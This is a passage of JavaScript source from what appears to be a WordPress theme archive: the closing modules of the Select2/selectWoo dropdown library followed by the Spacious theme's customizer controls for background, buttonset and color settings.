S2.define('select2/defaults',[
  'jquery',
  'require',

  './results',

  './selection/single',
  './selection/multiple',
  './selection/placeholder',
  './selection/allowClear',
  './selection/search',
  './selection/eventRelay',

  './utils',
  './translation',
  './diacritics',

  './data/select',
  './data/array',
  './data/ajax',
  './data/tags',
  './data/tokenizer',
  './data/minimumInputLength',
  './data/maximumInputLength',
  './data/maximumSelectionLength',

  './dropdown',
  './dropdown/search',
  './dropdown/hidePlaceholder',
  './dropdown/infiniteScroll',
  './dropdown/attachBody',
  './dropdown/minimumResultsForSearch',
  './dropdown/selectOnClose',
  './dropdown/closeOnSelect',

  './i18n/en'
], function ($, require,

             ResultsList,

             SingleSelection, MultipleSelection, Placeholder, AllowClear,
             SelectionSearch, EventRelay,

             Utils, Translation, DIACRITICS,

             SelectData, ArrayData, AjaxData, Tags, Tokenizer,
             MinimumInputLength, MaximumInputLength, MaximumSelectionLength,

             Dropdown, DropdownSearch, HidePlaceholder, InfiniteScroll,
             AttachBody, MinimumResultsForSearch, SelectOnClose, CloseOnSelect,

             EnglishTranslation) {
  function Defaults () {
    this.reset();
  }

  Defaults.prototype.apply = function (options) {
    options = $.extend(true, {}, this.defaults, options);

    if (options.dataAdapter == null) {
      if (options.ajax != null) {
        options.dataAdapter = AjaxData;
      } else if (options.data != null) {
        options.dataAdapter = ArrayData;
      } else {
        options.dataAdapter = SelectData;
      }

      if (options.minimumInputLength > 0) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          MinimumInputLength
        );
      }

      if (options.maximumInputLength > 0) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          MaximumInputLength
        );
      }

      if (options.maximumSelectionLength > 0) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          MaximumSelectionLength
        );
      }

      if (options.tags) {
        options.dataAdapter = Utils.Decorate(options.dataAdapter, Tags);
      }

      if (options.tokenSeparators != null || options.tokenizer != null) {
        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          Tokenizer
        );
      }

      if (options.query != null) {
        var Query = require(options.amdBase + 'compat/query');

        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          Query
        );
      }

      if (options.initSelection != null) {
        var InitSelection = require(options.amdBase + 'compat/initSelection');

        options.dataAdapter = Utils.Decorate(
          options.dataAdapter,
          InitSelection
        );
      }
    }

    if (options.resultsAdapter == null) {
      options.resultsAdapter = ResultsList;

      if (options.ajax != null) {
        options.resultsAdapter = Utils.Decorate(
          options.resultsAdapter,
          InfiniteScroll
        );
      }

      if (options.placeholder != null) {
        options.resultsAdapter = Utils.Decorate(
          options.resultsAdapter,
          HidePlaceholder
        );
      }

      if (options.selectOnClose) {
        options.resultsAdapter = Utils.Decorate(
          options.resultsAdapter,
          SelectOnClose
        );
      }
    }

    if (options.dropdownAdapter == null) {
      if (options.multiple) {
        options.dropdownAdapter = Dropdown;
      } else {
        var SearchableDropdown = Utils.Decorate(Dropdown, DropdownSearch);

        options.dropdownAdapter = SearchableDropdown;
      }

      if (options.minimumResultsForSearch !== 0) {
        options.dropdownAdapter = Utils.Decorate(
          options.dropdownAdapter,
          MinimumResultsForSearch
        );
      }

      if (options.closeOnSelect) {
        options.dropdownAdapter = Utils.Decorate(
          options.dropdownAdapter,
          CloseOnSelect
        );
      }

      if (
        options.dropdownCssClass != null ||
        options.dropdownCss != null ||
        options.adaptDropdownCssClass != null
      ) {
        var DropdownCSS = require(options.amdBase + 'compat/dropdownCss');

        options.dropdownAdapter = Utils.Decorate(
          options.dropdownAdapter,
          DropdownCSS
        );
      }

      options.dropdownAdapter = Utils.Decorate(
        options.dropdownAdapter,
        AttachBody
      );
    }

    if (options.selectionAdapter == null) {
      if (options.multiple) {
        options.selectionAdapter = MultipleSelection;
      } else {
        options.selectionAdapter = SingleSelection;
      }

      // Add the placeholder mixin if a placeholder was specified
      if (options.placeholder != null) {
        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          Placeholder
        );
      }

      if (options.allowClear) {
        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          AllowClear
        );
      }

      if (options.multiple) {
        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          SelectionSearch
        );
      }

      if (
        options.containerCssClass != null ||
        options.containerCss != null ||
        options.adaptContainerCssClass != null
      ) {
        var ContainerCSS = require(options.amdBase + 'compat/containerCss');

        options.selectionAdapter = Utils.Decorate(
          options.selectionAdapter,
          ContainerCSS
        );
      }

      options.selectionAdapter = Utils.Decorate(
        options.selectionAdapter,
        EventRelay
      );
    }

    if (typeof options.language === 'string') {
      // Check if the language is specified with a region
      if (options.language.indexOf('-') > 0) {
        // Extract the region information if it is included
        var languageParts = options.language.split('-');
        var baseLanguage = languageParts[0];

        options.language = [options.language, baseLanguage];
      } else {
        options.language = [options.language];
      }
    }

    if ($.isArray(options.language)) {
      var languages = new Translation();
      options.language.push('en');

      var languageNames = options.language;

      for (var l = 0; l < languageNames.length; l++) {
        var name = languageNames[l];
        var language = {};

        try {
          // Try to load it with the original name
          language = Translation.loadPath(name);
        } catch (e) {
          try {
            // If we couldn't load it, check if it wasn't the full path
            name = this.defaults.amdLanguageBase + name;
            language = Translation.loadPath(name);
          } catch (ex) {
            // The translation could not be loaded at all. Sometimes this is
            // because of a configuration problem, other times this can be
            // because of how Select2 helps load all possible translation files.
            if (options.debug && window.console && console.warn) {
              console.warn(
                'Select2: The language file for "' + name + '" could not be ' +
                'automatically loaded. A fallback will be used instead.'
              );
            }

            continue;
          }
        }

        languages.extend(language);
      }

      options.translations = languages;
    } else {
      var baseTranslation = Translation.loadPath(
        this.defaults.amdLanguageBase + 'en'
      );
      var customTranslation = new Translation(options.language);

      customTranslation.extend(baseTranslation);

      options.translations = customTranslation;
    }

    return options;
  };

  Defaults.prototype.reset = function () {
    function stripDiacritics (text) {
      // Used 'uni range + named function' from http://jsperf.com/diacritics/18
      function match(a) {
        return DIACRITICS[a] || a;
      }

      return text.replace(/[^\u0000-\u007E]/g, match);
    }

    function matcher (params, data) {
      // Always return the object if there is nothing to compare
      if ($.trim(params.term) === '') {
        return data;
      }

      // Do a recursive check for options with children
      if (data.children && data.children.length > 0) {
        // Clone the data object if there are children
        // This is required as we modify the object to remove any non-matches
        var match = $.extend(true, {}, data);

        // Check each child of the option
        for (var c = data.children.length - 1; c >= 0; c--) {
          var child = data.children[c];

          var matches = matcher(params, child);

          // If there wasn't a match, remove the object in the array
          if (matches == null) {
            match.children.splice(c, 1);
          }
        }

        // If any children matched, return the new object
        if (match.children.length > 0) {
          return match;
        }

        // If there were no matching children, check just the plain object
        return matcher(params, match);
      }

      var original = stripDiacritics(data.text).toUpperCase();
      var term = stripDiacritics(params.term).toUpperCase();

      // Check if the text contains the term
      if (original.indexOf(term) > -1) {
        return data;
      }

      // If it doesn't contain the term, don't return anything
      return null;
    }

    this.defaults = {
      amdBase: './',
      amdLanguageBase: './i18n/',
      closeOnSelect: true,
      debug: false,
      dropdownAutoWidth: false,
      escapeMarkup: Utils.escapeMarkup,
      language: EnglishTranslation,
      matcher: matcher,
      minimumInputLength: 0,
      maximumInputLength: 0,
      maximumSelectionLength: 0,
      minimumResultsForSearch: 0,
      selectOnClose: false,
      sorter: function (data) {
        return data;
      },
      templateResult: function (result) {
        return result.text;
      },
      templateSelection: function (selection) {
        return selection.text;
      },
      theme: 'default',
      width: 'resolve'
    };
  };

  Defaults.prototype.set = function (key, value) {
    var camelKey = $.camelCase(key);

    var data = {};
    data[camelKey] = value;

    var convertedData = Utils._convertData(data);

    $.extend(this.defaults, convertedData);
  };

  var defaults = new Defaults();

  return defaults;
});

S2.define('select2/options',[
  'require',
  'jquery',
  './defaults',
  './utils'
], function (require, $, Defaults, Utils) {
  function Options (options, $element) {
    this.options = options;

    if ($element != null) {
      this.fromElement($element);
    }

    this.options = Defaults.apply(this.options);

    if ($element && $element.is('input')) {
      var InputCompat = require(this.get('amdBase') + 'compat/inputData');

      this.options.dataAdapter = Utils.Decorate(
        this.options.dataAdapter,
        InputCompat
      );
    }
  }

  Options.prototype.fromElement = function ($e) {
    var excludedData = ['select2'];

    if (this.options.multiple == null) {
      this.options.multiple = $e.prop('multiple');
    }

    if (this.options.disabled == null) {
      this.options.disabled = $e.prop('disabled');
    }

    if (this.options.language == null) {
      if ($e.prop('lang')) {
        this.options.language = $e.prop('lang').toLowerCase();
      } else if ($e.closest('[lang]').prop('lang')) {
        this.options.language = $e.closest('[lang]').prop('lang');
      }
    }

    if (this.options.dir == null) {
      if ($e.prop('dir')) {
        this.options.dir = $e.prop('dir');
      } else if ($e.closest('[dir]').prop('dir')) {
        this.options.dir = $e.closest('[dir]').prop('dir');
      } else {
        this.options.dir = 'ltr';
      }
    }

    $e.prop('disabled', this.options.disabled);
    $e.prop('multiple', this.options.multiple);

    if ($e.data('select2Tags')) {
      if (this.options.debug && window.console && console.warn) {
        console.warn(
          'Select2: The `data-select2-tags` attribute has been changed to ' +
          'use the `data-data` and `data-tags="true"` attributes and will be ' +
          'removed in future versions of Select2.'
        );
      }

      $e.data('data', $e.data('select2Tags'));
      $e.data('tags', true);
    }

    if ($e.data('ajaxUrl')) {
      if (this.options.debug && window.console && console.warn) {
        console.warn(
          'Select2: The `data-ajax-url` attribute has been changed to ' +
          '`data-ajax--url` and support for the old attribute will be removed' +
          ' in future versions of Select2.'
        );
      }

      $e.attr('ajax--url', $e.data('ajaxUrl'));
      $e.data('ajax--url', $e.data('ajaxUrl'));
    }

    var dataset = {};

    // Prefer the element's `dataset` attribute if it exists
    // jQuery 1.x does not correctly handle data attributes with multiple dashes
    if ($.fn.jquery && $.fn.jquery.substr(0, 2) == '1.' && $e[0].dataset) {
      dataset = $.extend(true, {}, $e[0].dataset, $e.data());
    } else {
      dataset = $e.data();
    }

    var data = $.extend(true, {}, dataset);

    data = Utils._convertData(data);

    for (var key in data) {
      if ($.inArray(key, excludedData) > -1) {
        continue;
      }

      if ($.isPlainObject(this.options[key])) {
        $.extend(this.options[key], data[key]);
      } else {
        this.options[key] = data[key];
      }
    }

    return this;
  };

  Options.prototype.get = function (key) {
    return this.options[key];
  };

  Options.prototype.set = function (key, val) {
    this.options[key] = val;
  };

  return Options;
});

S2.define('select2/core',[
  'jquery',
  './options',
  './utils',
  './keys'
], function ($, Options, Utils, KEYS) {
  var Select2 = function ($element, options) {
    if ($element.data('select2') != null) {
      $element.data('select2').destroy();
    }

    this.$element = $element;

    this.id = this._generateId($element);

    options = options || {};

    this.options = new Options(options, $element);

    Select2.__super__.constructor.call(this);

    // Set up the tabindex

    var tabindex = $element.attr('tabindex') || 0;
    $element.data('old-tabindex', tabindex);
    $element.attr('tabindex', '-1');

    // Set up containers and adapters

    var DataAdapter = this.options.get('dataAdapter');
    this.dataAdapter = new DataAdapter($element, this.options);

    var $container = this.render();

    this._placeContainer($container);

    var SelectionAdapter = this.options.get('selectionAdapter');
    this.selection = new SelectionAdapter($element, this.options);
    this.$selection = this.selection.render();

    this.selection.position(this.$selection, $container);

    var DropdownAdapter = this.options.get('dropdownAdapter');
    this.dropdown = new DropdownAdapter($element, this.options);
    this.$dropdown = this.dropdown.render();

    this.dropdown.position(this.$dropdown, $container);

    var ResultsAdapter = this.options.get('resultsAdapter');
    this.results = new ResultsAdapter($element, this.options, this.dataAdapter);
    this.$results = this.results.render();

    this.results.position(this.$results, this.$dropdown);

    // Bind events

    var self = this;

    // Bind the container to all of the adapters
    this._bindAdapters();

    // Register any DOM event handlers
    this._registerDomEvents();

    // Register any internal event handlers
    this._registerDataEvents();
    this._registerSelectionEvents();
    this._registerDropdownEvents();
    this._registerResultsEvents();
    this._registerEvents();

    // Set the initial state
    this.dataAdapter.current(function (initialData) {
      self.trigger('selection:update', {
        data: initialData
      });
    });

    // Hide the original select
    $element.addClass('select2-hidden-accessible');
    $element.attr('aria-hidden', 'true');

    // Synchronize any monitored attributes
    this._syncAttributes();

    $element.data('select2', this);
  };

  Utils.Extend(Select2, Utils.Observable);

  Select2.prototype._generateId = function ($element) {
    var id = '';

    if ($element.attr('id') != null) {
      id = $element.attr('id');
    } else if ($element.attr('name') != null) {
      id = $element.attr('name') + '-' + Utils.generateChars(2);
    } else {
      id = Utils.generateChars(4);
    }

    id = id.replace(/(:|\.|\[|\]|,)/g, '');
    id = 'select2-' + id;

    return id;
  };

  Select2.prototype._placeContainer = function ($container) {
    $container.insertAfter(this.$element);

    var width = this._resolveWidth(this.$element, this.options.get('width'));

    if (width != null) {
      $container.css('width', width);
    }
  };

  Select2.prototype._resolveWidth = function ($element, method) {
    var WIDTH = /^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;

    if (method == 'resolve') {
      var styleWidth = this._resolveWidth($element, 'style');

      if (styleWidth != null) {
        return styleWidth;
      }

      return this._resolveWidth($element, 'element');
    }

    if (method == 'element') {
      var elementWidth = $element.outerWidth(false);

      if (elementWidth <= 0) {
        return 'auto';
      }

      return elementWidth + 'px';
    }

    if (method == 'style') {
      var style = $element.attr('style');

      if (typeof(style) !== 'string') {
        return null;
      }

      var attrs = style.split(';');

      for (var i = 0, l = attrs.length; i < l; i = i + 1) {
        var attr = attrs[i].replace(/\s/g, '');
        var matches = attr.match(WIDTH);

        if (matches !== null && matches.length >= 1) {
          return matches[1];
        }
      }

      return null;
    }

    return method;
  };

  Select2.prototype._bindAdapters = function () {
    this.dataAdapter.bind(this, this.$container);
    this.selection.bind(this, this.$container);

    this.dropdown.bind(this, this.$container);
    this.results.bind(this, this.$container);
  };

  Select2.prototype._registerDomEvents = function () {
    var self = this;

    this.$element.on('change.select2', function () {
      self.dataAdapter.current(function (data) {
        self.trigger('selection:update', {
          data: data
        });
      });
    });

    this.$element.on('focus.select2', function (evt) {
      self.trigger('focus', evt);
    });

    this._syncA = Utils.bind(this._syncAttributes, this);
    this._syncS = Utils.bind(this._syncSubtree, this);

    if (this.$element[0].attachEvent) {
      this.$element[0].attachEvent('onpropertychange', this._syncA);
    }

    var observer = window.MutationObserver ||
      window.WebKitMutationObserver ||
      window.MozMutationObserver
    ;

    if (observer != null) {
      this._observer = new observer(function (mutations) {
        $.each(mutations, self._syncA);
        $.each(mutations, self._syncS);
      });
      this._observer.observe(this.$element[0], {
        attributes: true,
        childList: true,
        subtree: false
      });
    } else if (this.$element[0].addEventListener) {
      this.$element[0].addEventListener(
        'DOMAttrModified',
        self._syncA,
        false
      );
      this.$element[0].addEventListener(
        'DOMNodeInserted',
        self._syncS,
        false
      );
      this.$element[0].addEventListener(
        'DOMNodeRemoved',
        self._syncS,
        false
      );
    }
  };

  Select2.prototype._registerDataEvents = function () {
    var self = this;

    this.dataAdapter.on('*', function (name, params) {
      self.trigger(name, params);
    });
  };

  Select2.prototype._registerSelectionEvents = function () {
    var self = this;
    var nonRelayEvents = ['toggle', 'focus'];

    this.selection.on('toggle', function () {
      self.toggleDropdown();
    });

    this.selection.on('focus', function (params) {
      self.focus(params);
    });

    this.selection.on('*', function (name, params) {
      if ($.inArray(name, nonRelayEvents) !== -1) {
        return;
      }

      self.trigger(name, params);
    });
  };

  Select2.prototype._registerDropdownEvents = function () {
    var self = this;

    this.dropdown.on('*', function (name, params) {
      self.trigger(name, params);
    });
  };

  Select2.prototype._registerResultsEvents = function () {
    var self = this;

    this.results.on('*', function (name, params) {
      self.trigger(name, params);
    });
  };

  Select2.prototype._registerEvents = function () {
    var self = this;

    this.on('open', function () {
      self.$container.addClass('select2-container--open');
    });

    this.on('close', function () {
      self.$container.removeClass('select2-container--open');
    });

    this.on('enable', function () {
      self.$container.removeClass('select2-container--disabled');
    });

    this.on('disable', function () {
      self.$container.addClass('select2-container--disabled');
    });

    this.on('blur', function () {
      self.$container.removeClass('select2-container--focus');
    });

    this.on('query', function (params) {
      if (!self.isOpen()) {
        self.trigger('open', {});
      }

      this.dataAdapter.query(params, function (data) {
        self.trigger('results:all', {
          data: data,
          query: params
        });
      });
    });

    this.on('query:append', function (params) {
      this.dataAdapter.query(params, function (data) {
        self.trigger('results:append', {
          data: data,
          query: params
        });
      });
    });

    this.on('open', function(){
      // Focus on the active element when opening dropdown.
      // Needs 1 ms delay because of other 1 ms setTimeouts when rendering.
      setTimeout(function(){
        self.focusOnActiveElement();
      }, 1);
    });

    $(document).on('keydown', function (evt) {
      var key = evt.which;
      if (self.isOpen()) {
        if (key === KEYS.ESC || (key === KEYS.UP && evt.altKey)) {
          self.close();

          evt.preventDefault();
        } else if (key === KEYS.ENTER || key === KEYS.TAB) {
          self.trigger('results:select', {});

          evt.preventDefault();
        } else if ((key === KEYS.SPACE && evt.ctrlKey)) {
          self.trigger('results:toggle', {});

          evt.preventDefault();
        } else if (key === KEYS.UP) {
          self.trigger('results:previous', {});

          evt.preventDefault();
        } else if (key === KEYS.DOWN) {
          self.trigger('results:next', {});

          evt.preventDefault();
        }

        var $searchField = self.$dropdown.find('.select2-search__field');
        if (! $searchField.length) {
          $searchField = self.$container.find('.select2-search__field');
        }

        // Move the focus to the selected element on keyboard navigation.
        // Required for screen readers to work properly.
        if (key === KEYS.DOWN || key === KEYS.UP) {
            self.focusOnActiveElement();
        } else {
          // Focus on the search if user starts typing.
          $searchField.focus();
          // Focus back to active selection when finished typing.
          // Small delay so typed character can be read by screen reader.
          setTimeout(function(){
              self.focusOnActiveElement();
          }, 1000);
        }
      } else if (self.hasFocus()) {
        if (key === KEYS.ENTER || key === KEYS.SPACE ||
            key === KEYS.DOWN) {
          self.open();
          evt.preventDefault();
        }
      }
    });
  };

  Select2.prototype.focusOnActiveElement = function () {
    // Don't mess with the focus on touchscreens because it causes havoc with on-screen keyboards.
    if (this.isOpen() && ! Utils.isTouchscreen()) {
      this.$results.find('li.select2-results__option--highlighted').focus();
    }
  };

  Select2.prototype._syncAttributes = function () {
    this.options.set('disabled', this.$element.prop('disabled'));

    if (this.options.get('disabled')) {
      if (this.isOpen()) {
        this.close();
      }

      this.trigger('disable', {});
    } else {
      this.trigger('enable', {});
    }
  };

  Select2.prototype._syncSubtree = function (evt, mutations) {
    var changed = false;
    var self = this;

    // Ignore any mutation events raised for elements that aren't options or
    // optgroups. This handles the case when the select element is destroyed
    if (
      evt && evt.target && (
        evt.target.nodeName !== 'OPTION' && evt.target.nodeName !== 'OPTGROUP'
      )
    ) {
      return;
    }

    if (!mutations) {
      // If mutation events aren't supported, then we can only assume that the
      // change affected the selections
      changed = true;
    } else if (mutations.addedNodes && mutations.addedNodes.length > 0) {
      for (var n = 0; n < mutations.addedNodes.length; n++) {
        var node = mutations.addedNodes[n];

        if (node.selected) {
          changed = true;
        }
      }
    } else if (mutations.removedNodes && mutations.removedNodes.length > 0) {
      changed = true;
    }

    // Only re-pull the data if we think there is a change
    if (changed) {
      this.dataAdapter.current(function (currentData) {
        self.trigger('selection:update', {
          data: currentData
        });
      });
    }
  };

  /**
   * Override the trigger method to automatically trigger pre-events when
   * there are events that can be prevented.
   */
  Select2.prototype.trigger = function (name, args) {
    var actualTrigger = Select2.__super__.trigger;
    var preTriggerMap = {
      'open': 'opening',
      'close': 'closing',
      'select': 'selecting',
      'unselect': 'unselecting'
    };

    if (args === undefined) {
      args = {};
    }

    if (name in preTriggerMap) {
      var preTriggerName = preTriggerMap[name];
      var preTriggerArgs = {
        prevented: false,
        name: name,
        args: args
      };

      actualTrigger.call(this, preTriggerName, preTriggerArgs);

      if (preTriggerArgs.prevented) {
        args.prevented = true;

        return;
      }
    }

    actualTrigger.call(this, name, args);
  };

  Select2.prototype.toggleDropdown = function () {
    if (this.options.get('disabled')) {
      return;
    }

    if (this.isOpen()) {
      this.close();
    } else {
      this.open();
    }
  };

  Select2.prototype.open = function () {
    if (this.isOpen()) {
      return;
    }

    this.trigger('query', {});
  };

  Select2.prototype.close = function () {
    if (!this.isOpen()) {
      return;
    }

    this.trigger('close', {});
  };

  Select2.prototype.isOpen = function () {
    return this.$container.hasClass('select2-container--open');
  };

  Select2.prototype.hasFocus = function () {
    return this.$container.hasClass('select2-container--focus');
  };

  Select2.prototype.focus = function (data) {
    // No need to re-trigger focus events if we are already focused
    if (this.hasFocus()) {
      return;
    }

    this.$container.addClass('select2-container--focus');
    this.trigger('focus', {});
  };

  Select2.prototype.enable = function (args) {
    if (this.options.get('debug') && window.console && console.warn) {
      console.warn(
        'Select2: The `select2("enable")` method has been deprecated and will' +
        ' be removed in later Select2 versions. Use $element.prop("disabled")' +
        ' instead.'
      );
    }

    if (args == null || args.length === 0) {
      args = [true];
    }

    var disabled = !args[0];

    this.$element.prop('disabled', disabled);
  };

  Select2.prototype.data = function () {
    if (this.options.get('debug') &&
        arguments.length > 0 && window.console && console.warn) {
      console.warn(
        'Select2: Data can no longer be set using `select2("data")`. You ' +
        'should consider setting the value instead using `$element.val()`.'
      );
    }

    var data = [];

    this.dataAdapter.current(function (currentData) {
      data = currentData;
    });

    return data;
  };

  Select2.prototype.val = function (args) {
    if (this.options.get('debug') && window.console && console.warn) {
      console.warn(
        'Select2: The `select2("val")` method has been deprecated and will be' +
        ' removed in later Select2 versions. Use $element.val() instead.'
      );
    }

    if (args == null || args.length === 0) {
      return this.$element.val();
    }

    var newVal = args[0];

    if ($.isArray(newVal)) {
      newVal = $.map(newVal, function (obj) {
        return obj.toString();
      });
    }

    this.$element.val(newVal).trigger('change');
  };

  Select2.prototype.destroy = function () {
    this.$container.remove();

    if (this.$element[0].detachEvent) {
      this.$element[0].detachEvent('onpropertychange', this._syncA);
    }

    if (this._observer != null) {
      this._observer.disconnect();
      this._observer = null;
    } else if (this.$element[0].removeEventListener) {
      this.$element[0]
        .removeEventListener('DOMAttrModified', this._syncA, false);
      this.$element[0]
        .removeEventListener('DOMNodeInserted', this._syncS, false);
      this.$element[0]
        .removeEventListener('DOMNodeRemoved', this._syncS, false);
    }

    this._syncA = null;
    this._syncS = null;

    this.$element.off('.select2');
    this.$element.attr('tabindex', this.$element.data('old-tabindex'));

    this.$element.removeClass('select2-hidden-accessible');
    this.$element.attr('aria-hidden', 'false');
    this.$element.removeData('select2');

    this.dataAdapter.destroy();
    this.selection.destroy();
    this.dropdown.destroy();
    this.results.destroy();

    this.dataAdapter = null;
    this.selection = null;
    this.dropdown = null;
    this.results = null;
  };

  Select2.prototype.render = function () {
    var $container = $(
      '<span class="select2 select2-container">' +
        '<span class="selection"></span>' +
        '<span class="dropdown-wrapper" aria-hidden="true"></span>' +
      '</span>'
    );

    $container.attr('dir', this.options.get('dir'));

    this.$container = $container;

    this.$container.addClass('select2-container--' + this.options.get('theme'));

    $container.data('element', this.$element);

    return $container;
  };

  return Select2;
});

S2.define('jquery-mousewheel',[
  'jquery'
], function ($) {
  // Used to shim jQuery.mousewheel for non-full builds.
  return $;
});

S2.define('jquery.select2',[
  'jquery',
  'jquery-mousewheel',

  './select2/core',
  './select2/defaults'
], function ($, _, Select2, Defaults) {
  if ($.fn.selectWoo == null) {
    // All methods that should return the element
    var thisMethods = ['open', 'close', 'destroy'];

    $.fn.selectWoo = function (options) {
      options = options || {};

      if (typeof options === 'object') {
        this.each(function () {
          var instanceOptions = $.extend(true, {}, options);

          var instance = new Select2($(this), instanceOptions);
        });

        return this;
      } else if (typeof options === 'string') {
        var ret;
        var args = Array.prototype.slice.call(arguments, 1);

        this.each(function () {
          var instance = $(this).data('select2');

          if (instance == null && window.console && console.error) {
            console.error(
              'The select2(\'' + options + '\') method was called on an ' +
              'element that is not using Select2.'
            );
          }

          ret = instance[options].apply(instance, args);
        });

        // Check if we should be returning `this`
        if ($.inArray(options, thisMethods) > -1) {
          return this;
        }

        return ret;
      } else {
        throw new Error('Invalid arguments for Select2: ' + options);
      }
    };
  }

  if ($.fn.select2 != null && $.fn.select2.defaults != null) {
    $.fn.selectWoo.defaults = $.fn.select2.defaults;
  }

  if ($.fn.selectWoo.defaults == null) {
    $.fn.selectWoo.defaults = Defaults;
  }

  // Also register selectWoo under select2 if select2 is not already present.
  $.fn.select2 = $.fn.select2 || $.fn.selectWoo;

  return Select2;
});

  // Return the AMD loader configuration so it can be used outside of this file
  return {
    define: S2.define,
    require: S2.require
  };
}());

  // Autoload the jQuery bindings
  // We know that all of the modules exist above this, so we're safe
  var select2 = S2.require('jquery.select2');

  // Hold the AMD module references on the jQuery function that was just loaded
  // This allows Select2 to use the internal loader outside of this file, such
  // as in the language files.
  jQuery.fn.select2.amd = S2;
  jQuery.fn.selectWoo.amd = S2;

  // Return the Select2 instance for anyone who is importing it.
  return select2;
}));
core/custom-controls/assets/js/customize-controls.js000066600000165734152367043330017040 0ustar00/**
 * Background image control JS to handle the background customize option.
 *
 * File `background.js`.
 *
 * @package Spacious
 */
(
	function ( $ ) {

		$( window ).on( 'load', function () {
			$( 'html' ).addClass( 'colorpicker-ready' );
		} );

		wp.customize.controlConstructor['spacious-background'] = wp.customize.Control.extend( {

			ready : function () {

				'use strict';

				var control = this;

				// Init background control.
				control.initSpaciousBackgroundControl();

			},

			initSpaciousBackgroundControl : function () {

				var control     = this,
				    value       = control.setting._value,
				    colorpicker = control.container.find( '.spacious-color-picker-alpha' );

				// Hide unnecessary controls by default and show only when background image is set.
				if ( _.isUndefined( value['background-image'] ) || '' === value['background-image'] ) {
					control.container.find( '.customize-control-content > .background-repeat' ).hide();
					control.container.find( '.customize-control-content > .background-position' ).hide();
					control.container.find( '.customize-control-content > .background-size' ).hide();
					control.container.find( '.customize-control-content > .background-attachment' ).hide();
				}

				// Background color setting.
				colorpicker.wpColorPicker( {

					change : function () {
						if ( jQuery( 'html' ).hasClass( 'colorpicker-ready' ) ) {
							setTimeout(
								function () {
									control.saveValue( 'background-color', colorpicker.val() );
								},
								100
							);
						}
					},

					clear : function ( event ) {
						var element = jQuery( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0];

						if ( element ) {
							control.saveValue( 'background-color', '' );
						}
					}

				} );

				// Background image setting.
				control.container.on( 'click', '.background-image-upload-button, .thumbnail-image img', function ( e ) {
					var image = wp.media( { multiple : false } ).open().on( 'select', function () {

						// This will return the selected image from the Media Uploader, the result is an object.
						var uploadedImage = image.state().get( 'selection' ).first(),
						    previewImage  = uploadedImage.toJSON().sizes.full.url,
						    imageUrl,
						    imageID,
						    imageWidth,
						    imageHeight,
						    preview,
						    removeButton;

						if ( ! _.isUndefined( uploadedImage.toJSON().sizes.medium ) ) {
							previewImage = uploadedImage.toJSON().sizes.medium.url;
						} else if ( ! _.isUndefined( uploadedImage.toJSON().sizes.thumbnail ) ) {
							previewImage = uploadedImage.toJSON().sizes.thumbnail.url;
						}

						imageUrl    = uploadedImage.toJSON().sizes.full.url;
						imageID     = uploadedImage.toJSON().id;
						imageWidth  = uploadedImage.toJSON().width;
						imageHeight = uploadedImage.toJSON().height;

						// Show extra controls if the value has an image.
						if ( '' !== imageUrl ) {
							control.container.find( '.customize-control-content > .background-repeat, .customize-control-content > .background-position, .customize-control-content > .background-size, .customize-control-content > .background-attachment' ).show();
						}

						control.saveValue( 'background-image', imageUrl );
						preview      = control.container.find( '.placeholder, .thumbnail' );
						removeButton = control.container.find( '.background-image-upload-remove-button' );

						if ( preview.length ) {
							preview.removeClass().addClass( 'thumbnail thumbnail-image' ).html( '<img src="' + previewImage + '" alt="" />' );
						}

						if ( removeButton.length ) {
							removeButton.show();
						}
					} );

					e.preventDefault();
				} );

				control.container.on( 'click', '.background-image-upload-remove-button', function ( e ) {

					var preview,
					    removeButton;

					e.preventDefault();

					control.saveValue( 'background-image', '' );

					preview      = control.container.find( '.placeholder, .thumbnail' );
					removeButton = control.container.find( '.background-image-upload-remove-button' );

					// Hide unnecessary controls.
					control.container.find( '.customize-control-content > .background-repeat' ).hide();
					control.container.find( '.customize-control-content > .background-position' ).hide();
					control.container.find( '.customize-control-content > .background-size' ).hide();
					control.container.find( '.customize-control-content > .background-attachment' ).hide();

					if ( preview.length ) {
						preview.removeClass().addClass( 'placeholder' ).html( SpaciousCustomizerControlBackground.placeholder );
					}

					if ( removeButton.length ) {
						removeButton.hide();
					}
				} );

				// Background repeat setting.
				control.container.on( 'change', '.background-repeat select', function () {
					control.saveValue( 'background-repeat', jQuery( this ).val() );
				} );

				// Background position setting.
				control.container.on( 'change', '.background-position select', function () {
					control.saveValue( 'background-position', jQuery( this ).val() );
				} );

				// Background size setting.
				control.container.on( 'change', '.background-size select', function () {
					control.saveValue( 'background-size', jQuery( this ).val() );
				} );

				// Background attachment setting.
				control.container.on( 'change', '.background-attachment select', function () {
					control.saveValue( 'background-attachment', jQuery( this ).val() );
				} );

			},

			/**
			 * Saves the value.
			 */
			saveValue : function ( property, value ) {

				var control = this,
				    input   = jQuery( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .background-hidden-value' ),
				    val     = control.setting._value;

				val[property] = value;

				jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' );
				control.setting.set( val );

			}

		} );

	}
)( jQuery );

/**
 * Radio buttonset control JS to handle the toggle of radio buttonsets.
 *
 * File `buttonset.js`.
 *
 * @package Spacious
 */
wp.customize.controlConstructor[ 'spacious-buttonset' ] = wp.customize.Control.extend( {

	ready : function () {

		'use strict';

		var control = this;

		// Change the value.
		this.container.on( 'click', 'input', function () {
			control.setting.set( jQuery( this ).val() );
		} );

	}

} );

/**
 * Color picker control JS to handle color picker rendering within customize control.
 *
 * File `color.js`.
 *
 * @package Spacious
 */
(
	function ( $ ) {

		$( window ).on( 'load', function () {
			$( 'html' ).addClass( 'colorpicker-ready' );
		} );

		wp.customize.controlConstructor[ 'spacious-color' ] = wp.customize.Control.extend( {

			ready : function () {

				'use strict';

				var control = this;

				this.container.find( '.spacious-color-picker-alpha' ).wpColorPicker( {

					change : function ( event, ui ) {
						var color = ui.color.toString();

